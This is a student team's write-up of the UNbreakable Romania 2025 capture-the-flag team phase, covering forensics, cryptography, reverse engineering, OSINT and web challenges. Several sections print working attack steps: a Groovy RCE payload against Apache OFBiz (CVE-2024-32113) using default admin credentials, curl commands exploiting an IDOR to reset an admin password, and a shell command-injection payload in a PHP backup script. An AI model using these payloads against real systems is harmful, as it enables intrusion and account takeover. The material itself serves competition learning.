UNbreakable Romania 2025 Team Phase Write-up
Summary
Wildlotus is a team from Pitesti, Arges with 3 members from different high schools but with the same passion, cybersecurity. Here is our write-up for the Unbreakable 2025 team phase. We enjoyed this edition, we learned a lot and also had fun (besides the OSINT challenge :^)
Challenges Overview
gaming-habits: OSINT
Flag: CTF{6acfb96047869efed819b66c2bab15565698d8295ca78d7d4859a94873dcc5ce}
Summary
We were guided by the 2 green houses, the train track, and the road.
Solution
From the picture we could see 2 different houses, a tall green one (which we had to find) and a green mansion. We found the identifier for the high house at DayZ Wiki, which was land_house_2w02
, and for the mansion it was land_house_2w03
.
Then on DayZ Xam, we used a search filter based on the identifier. After a thorough search, we found an area that matched our requirements (road that intersects the train track, the 2 houses, and a forest).
silent-beacon: Forensics
Flag: ctf{32faf5270d2ac7382047ac3864712cd8cb5b8999511a59a7c5cb5822e0805b91}
Summary
Rebuild the MP3 using the packets from Wireshark and get the flag from the audio.
Solution
In the PCAP, we found an interesting packet. After a Google search, we discovered it was a text-to-speech file, so we assumed we had the flag in this MP3. There were multiple “Send Put continue” packets in Wireshark, so we used a script to craft our file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from scapy.all import rdpcap, Raw
# Load your pcap
packets = rdpcap("C:/Users/bogda/Downloads/capture(2).pcap")
file_data = b""
# OBEX Body (0x48), End-of-Body (0x49)
BODY_HEADERS = [0x48, 0x49]
for pkt in packets:
if Raw in pkt:
raw_data = bytes(pkt[Raw])
for header_id in BODY_HEADERS:
idx = raw_data.find(bytes([header_id]))
if idx != -1 and len(raw_data) >= idx + 3:
# Next two bytes = length (big endian)
length = int.from_bytes(raw_data[idx+1:idx+3], 'big')
end_idx = idx + 3 + (length - 3)
if end_idx <= len(raw_data):
body = raw_data[idx+3:end_idx]
file_data += body
# Save reconstructed file
with open("reconstructed.mp3", "wb") as f:
f.write(file_data)
After filtering the packets, we got a 120kB audio file. Using Zamzar MP3-to-Text, we extracted the flag!
open-for-business: WEB
Flag: CTF{2378f7c994cd18ee3206f253744aea876734a3ed4e6a7244a9f70f73e86ac833}
Summary
Exploiting CVE-2024-32113
Solution
First, we tried FFUF on the webserver to find something. There we discovered /catalog
and immediately found we were dealing with Apache OFBiz. We found it was version 18.12, which is vulnerable to CVE-2024-32113.
After we failed with the payload, one of our teammates found credentials in /webtools/main
. Perfect!
We logged in using:
1
https://65.109.131.17:1337/accounting/control/login?USERNAME=admin&PASSWORD=ofbiz
(we used simple modify header extension for localhost to make navigation easier)
We accessed the panel. Later in the webtools at “program export”, we found a “groovy program” parameter where we could inject malicious data and get RCE:
1
throw new Exception('id'.execute().text);
This allowed us to execute the id
command, and in ../home/ctf/flag.txt
, we found the flag.
PIN-v2: Reverse
Flag: CTF{ea875111287b0f7dd1db64c131e59ba2005e7a4611bace7aab827627e4161acc}
Summary
Analyze the function and reconstruct the PIN to get the flag.
Solution
We opened the binary in Ghidra, renamed the first function called by libc to main
, and started looking through the code.
We noticed something interesting: cVar1
gets the value returned by calling FUN_001016d8
, and if cVar1
isn’t NULL, it executes the else section which prints our flag.
We opened FUN_001016d8
and saw several if statements representing the conditions our PIN must meet to return 1 and get the flag.
An interesting part was the rand()
function, which generates a random integer. Var6
gets the value of Var5
(the generated number from rand) modulo 1000, which means Var5
gets the last 3 digits. Later it checks if Var6
has the last 3 bits equal to 7. If this and the rest of the conditions are true, Var7
gets the value 1 and we get the flag.
Based on all the if statements, we constructed the PIN and got it on the first try.
malware-chousa: Forensics
Flag responses:
- Q1. What .bat file is the source of infection?
start.bat
- Q2. What Windows Logs file from EventViewer contains information about creation of users?
Security
- Q3. What new user was created by malware? (see log.evtx)
Artifact
- Q4. What is the extension of the encrypted files?
.a4k
- Q5. From what IP is backdoor downloaded? (see capture.pcapng)
192.168.100.47
- Q6. What registry is used for persistence? (see registry.reg)
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Q7. Path of the Powershell history file:
C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
- Q8. Flag:
CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}
Summary
Analyze the files with various tools and answer the questions.
Solution
Q1: We opened the image.ad1 with FTK Imager and looked inside the folders for suspicious files. We found a strange file named start.bat
.
Q2: Straightforward: Security
Q3: We opened the evtx file with Event Viewer and looked for event ID 4720, which indicates User Account Management activities (creation/deletion/modification of user profile). We found that a new user account was created: artifact
.
Q4: We continued using FTK Imager to search for encrypted files.
Q5: We opened the packet capture file with Wireshark, selected File => Export Objects => HTTP, and found the source IP address of the backdoor.
Q6: Initially, we weren’t sure how to approach this since the registry.reg file contained links with connections that the backdoor was initiating at startup. Our colleague David had the great idea to run the start.bat file on his machine and check the registry! That’s how we got the flag!
Q7: We used FTK Imager, knowing that the PowerShell history file is in C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Q8: The flag was inside the ConsoleHost_history.txt file.
jvroom: Forensics
Flag responses:
- Q1. What version of OS build is present?
19041
- Q2. What is the PID of the text viewing program?
7296
- Q3. What is the parent process name of the text viewing program?
explorer.exe
- Q4. What is the number of characters for the command that opens the important file?
73
- Q5. Tool that can be used to work with a hex dump:
xxd
- Q6. What car manufacturer is being compromised?
toyota
- Q7. What is the decoded information that was stolen?
w1Nd0W5_w1Th_f0Rd_r4M
- Q8. From which car model was the key stolen?
supra
- Q9. At which hexadecimal memory location (32 bytes aligned) can the car model be found?
2f86bf60
Summary
Analyze the memory dump file with volatility3 and answer the questions.
Solution
Q1: We used volatility3 to analyze the memory dump and used the windows.info
command.
Q2: Since the question mentioned a text viewing program, we searched for notepad-related processes and found that notepad had PID 7296.
Q3: To find the parent process, we checked the PPID of the notepad process (7296), which was 5840, corresponding to explorer.exe.
Q4: The command was: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\elasticuser\Desktop\toyota.txt
, which is 73 characters long.
Q5: This was easy: xxd
.
Q6: From the previous question, we could see that the name of the txt file was toyota.
Q7: We needed to search for something related to Toyota. We ran strings
with grep on “toyota” and found some interesting messages that looked like base64 encoded text. We confirmed this using a hash analyzer site. We then used CyberChef with the “From Base64” recipe to decode the text and got the flag!
Q8: We knew the company was Toyota, so we ran strings
with grep on “toyota” and found that the model was a Supra!
Q9: We used the xxd tool with grep to search for the string “supra” and found its address.
wheel-of-furtune: Cryptography
Flag: ctf{49e6b3ba5aa5a624d22dd1d2cc46804b5d3c51b13096dffb5cd6af8a9ec4eed5}
Summary
Predict the number from a pseudorandom generator.
Solution
We connected to the instance and ran it multiple times to understand how it works.
It appeared to be using Mersenne Twister (a general-purpose pseudorandom number generator).
First script (furtune_1.py
), where we collected all the outputs generated by the program (624 outputs) and saved them in pairs.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import socket
import re
import time
HOST = '34.159.76.28'
PORT = 30550
OUTPUT_FILE = 'pairs.txt'
def parse_response(data):
"""Extract initial value and result from server response"""
initial_match = re.search(r'Initial value: (\d+)', data)
result_match = re.search(r'% 100\) \+ 1= (\d+)', data)
if initial_match and result_match:
return (initial_match.group(1), result_match.group(1))
return None
def collect_pairs():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.settimeout(5)
# Phase 1: Automatic collection
with open(OUTPUT_FILE, 'a') as f:
count = 0
while count < 624:
s.sendall(b'0\n')
data = b''
# Receive response
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
if b'Guess the number between' in chunk:
break
except socket.timeout:
break
data_str = data.decode('utf-8', errors='ignore')
print(f"[{count+1}/624] {data_str.strip()}")
# Save pair
pair = parse_response(data_str)
if pair:
f.write(f"{pair[0]}\n")
f.flush()
count += 1
time.sleep(0.1)
# Phase 2: Send guesses from file
print("\n[!] Collected 624 pairs. Ready to send guesses from results.txt.\n")
# Wait for user confirmation
user_input = input("Press 'y' to start sending guesses: ").strip().lower()
if user_input != 'y':
print("Exiting...")
return
# Read guesses from file
try:
with open('results.txt', 'r') as f:
guesses = f.readlines()
except FileNotFoundError:
print("Error: results.txt not found.")
return
for idx, guess_line in enumerate(guesses, 1):
guess = guess_line.strip()
if not guess.isdigit():
print(f"Skipping invalid line {idx}: '{guess}'")
continue
num = int(guess)
if not (1 <= num <= 100):
print(f"Skipping invalid guess {num} on line {idx} (out of range).")
continue
# Send the guess
s.sendall(f"{num}\n".encode())
# Receive response
response = b''
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
if b'Guess the number between' in chunk:
break
except socket.timeout:
break
# Print the response
resp_str = response.decode('utf-8', errors='ignore')
print(f"\n[Guess {idx}] Server Response:")
print("=" * 50)
print(resp_str.strip())
print("=" * 50 + "\n")
time.sleep(0.1)
if __name__ == '__main__':
try:
collect_pairs()
except Exception as e:
print(f"Fatal error: {e}")
After collecting all the outputs, we tried to reverse the process and rebuild the internal structure of the algorithm with the guessed answers and send each one back to the server to get the flag.
Second script (furtune_2.py
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def compute_number(initial_value):
"""Compute the correct number using the given formula."""
step1 = initial_value ^ 7
step2 = step1 * 37 + 29
step3 = step2 // 10000
step4 = step3 + 1
step5 = step4 % 100
step6 = step5 + 1
return step6
def read_seeds_and_compute_numbers(file_path):
"""Read seeds from a file and compute the correct numbers."""
with open(file_path, 'r') as file:
seeds = [int(line.strip()) for line in file if line.strip()]
results = []
for seed in seeds:
correct_num = compute_number(seed)
results.append(correct_num)
return results
def main():
input_file_path = 'predicted.txt'
output_file_path = 'results.txt'
results = read_seeds_and_compute_numbers(input_file_path)
with open(output_file_path, 'w') as output_file:
for number in results:
output_file.write(f"{number}\n")
if __name__ == "__main__":
main()
Commands used (step by step):
1
2
3
4
5
python furtune_1.py
cat pairs.txt | mt19937predict > predicted1.txt
head -n 100 predicted1.txt > predicted.txt
python furtune_2.py
# input y when asked for confirmation in furtune_1.py
og-jail: Misc
Flag: ctf{97829f135832f37a4b3d6176227cf6b96d481d543e6051c0087f24c1cd0881ed}
Summary
Simple jail challenge - we just needed to find out we could execute any command we wanted by bypassing the filter.
Solution
After some trial and error, we found a method to bypass the safety measures. We discovered we could execute anything inside single quotes (' '
).
hangman: Misc
Flag: ctf{609e75158367c10d4bd189db41206dbdde4d1c542279ea5275bbcdf440af7509}
Summary
For us, guessing the letters was the solution
Solution
After doing trial and error and using common letters, we managed to guess the prompted word from the game.
bnc: Cryptography
Flag: ctf{5fd924625f6ab16a19cc9807c7c506ae1813490e4ba675f843d5a10e0baacdb8}
Summary
Predict the seed and get the flag.
Solution
After analyzing the source code, it looked like we needed to predict the seed to “win” and get the flag.
We used the following script to solve it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import random
import time
choices = ["Bear", "Ninja", "Cowboy"]
rules = {
"Bear": "Ninja",
"Ninja": "Cowboy",
"Cowboy": "Bear"
}
reverse_rules = {v: k for k, v in rules.items()}
def get_player_choice(computer_choice):
return reverse_rules[computer_choice]
def generate_sequence(seed):
random.seed(seed)
sequence = []
for _ in range(30):
comp = random.choice(choices)
player = get_player_choice(comp)
sequence.append(player)
return sequence
def attempt(seed):
try:
r = remote('34.159.27.166', 30453, timeout=5)
seq = generate_sequence(seed)
for choice in seq:
r.recvuntil("Type your choice: ")
r.sendline(choice)
response = r.recvall(timeout=5)
if b'Congratulations' in response:
print(f"Flag: {response.decode()}")
return True
except Exception as e:
print(f"Seed {seed} failed: {str(e)}")
finally:
r.close()
return False
current_time = int(time.time())
for delta in range(-5, 5):
seed = current_time + delta
print(f"Testing seed: {seed}")
if attempt(seed):
exit()
keep-it-locked: Forensics
Flag: UNR{n0_p@ss0rd_man@g3r_can_KEE_m3_0ut}
Summary
Analyze the file and get the key to find the flag.
Solution
We downloaded the memory dump and analyzed it with volatility3. We saw a process named KeeTheft.exe
.
We dumped the files related to the process and discovered it was storing credentials in plaintext. We ran strings
(with the flag --el
because it was a Windows memory dump) on it with grep "plaintext"
to find the master key.
After getting the master key, we opened the kdbx file, pasted the key, and found the flag!
stolen-data: Mobile
Flag: CTF{9a4477c0b485e0427c177e1b4274df935f3bc867e537aae5bd54e0b22ea71eb1}
Summary
Reverse the file with jadx and get admin rights to access the flag.
Solution
After reversing the app, we saw it interacts with an API that manages account control and notes. Looking into the ChangePasswordRequest
, we observed that to change an account’s password, we only needed the account ID (IDOR), which could be retrieved from /api/auth/me
.
We found the admin’s email ([email protected]
), which allowed us to find his user ID, change his password, log in, and read his notes. One of his notes contained the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
curl -X POST "http://34.107.108.126:31047/api/auth/register" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "test",
"name": "test"
}'
curl -X POST "http://34.107.108.126:31047/api/auth/me" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3ZmJmZmU3ZmEyNGU4OGI4Mzk0YWIwYyIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsImlhdCI6MTc0NDU2ODI5NiwiZXhwIjoxNzQ1MTczMDk2fQ.yWF_gJcAmFWCfTyQ2tPzpmkqwByOal_mrieH-0vZbco" \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]"}'
curl -X POST "http://34.107.108.126:31047/api/auth/change-password" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3ZmJmZmU3ZmEyNGU4OGI4Mzk0YWIwYyIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsImlhdCI6MTc0NDU2ODI5NiwiZXhwIjoxNzQ1MTczMDk2fQ.yWF_gJcAmFWCfTyQ2tPzpmkqwByOal_mrieH-0vZbco" \
-H "Content-Type: application/json" \
-d '{
"newPassword": "newpass",
"userId": "67fbff29fa24e88b8394ab06"
}'
curl -X POST "http://34.107.108.126:31047/api/auth/login" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "newpass"
}'
curl -X GET "http://34.107.108.126:31047/api/notes" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3ZmJmZjI5ZmEyNGU4OGI4Mzk0YWIwNiIsImVtYWlsIjoiYWRtaW5AaW5vdmF0aXZlLm5vdGVzIiwiaWF0IjoxNzQ0NTY4NTcxLCJleHAiOjE3NDUxNzMzNzF9.rEW2tZShScKzTUBuImP0CRfYus9ciS_dXPnOtbFOZe8"
phpwn: Web
Flag: CTF{f4349967e93964f125623e2832cec93e4d15e1c6b9303cc89bb3f22c2514d77c}
Summary
Exploit the fact that we had access to backup.sh so we could execute whatever we wanted.
Solution
In the source code, we found a function that gave us access to backup.sh. This allowed us to craft a payload to be executed and get the flag from /tmp
. After generating a valid UUID, we used a payload to extract our flag.
1
2
3
4
5
6
7
8
function setbackup($uuid, $content){
$raw_json = ['uuid' => $uuid, 'm_threaded' => false, 'supplier' => false, 'initial_content' => $content];
$json = json_encode($raw_json);
$json = addslashes($json);
$output = "echo Backing up user data: \"{$json}\";\n";
$output .= "cp /var/www/html/data/$uuid /backup/;\n\n";
file_put_contents('/var/www/html/private/backup.sh', $output, FILE_APPEND);
}
1
2
PAYLOAD='`cat /tmp/flag.txt > /var/www/html/private/flag.txt`'
curl -X POST -d "content=$PAYLOAD" http://34.159.27.166:31050/?uuid=e7c4040b-2426-473b-b382-d34b345a96be
Scattered: Network
Flag: CTF{28193EAB5B637041AEA835924E8A712476BC88A21A25862B78732AB336BA2F33}
Summary
Reconstruct the PNGs from the PCAP.
Solution
In the PCAP, we found many packets with multiple parts from different photos. After discovering how to filter the packets, we used scapy to extract every part from every photo, reconstruct them, and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
from scapy.all import *
# Load the PCAP file
packets = rdpcap('capture.pcap')
# Dictionary to hold parts: {part_num: {part_idx: data}}
parts = {}
for pkt in packets:
if pkt.haslayer(Raw):
payload = pkt[Raw].load
# Match the header pattern (e.g., \x03FILE:part7.png:PART0:)
matches = re.finditer(rb'(.?)FILE:part(\d+)\.png:PART(\d+):', payload)
for match in matches:
# Extract part number (X) and part index (Y)
part_num = match.group(2).decode()
part_idx = int(match.group(3).decode())
# Data starts after the header
data_start = match.end()
part_data = payload[data_start:]
# Store in the dictionary
if part_num not in parts:
parts[part_num] = {}
parts[part_num][part_idx] = part_data
# Reassemble each partX.png
for part_num in parts:
sorted_indices = sorted(parts[part_num].keys())
with open(f'part{part_num}.png', 'wb') as f:
for idx in sorted_indices:
f.write(parts[part_num][idx])
print(f'Created part{part_num}.png')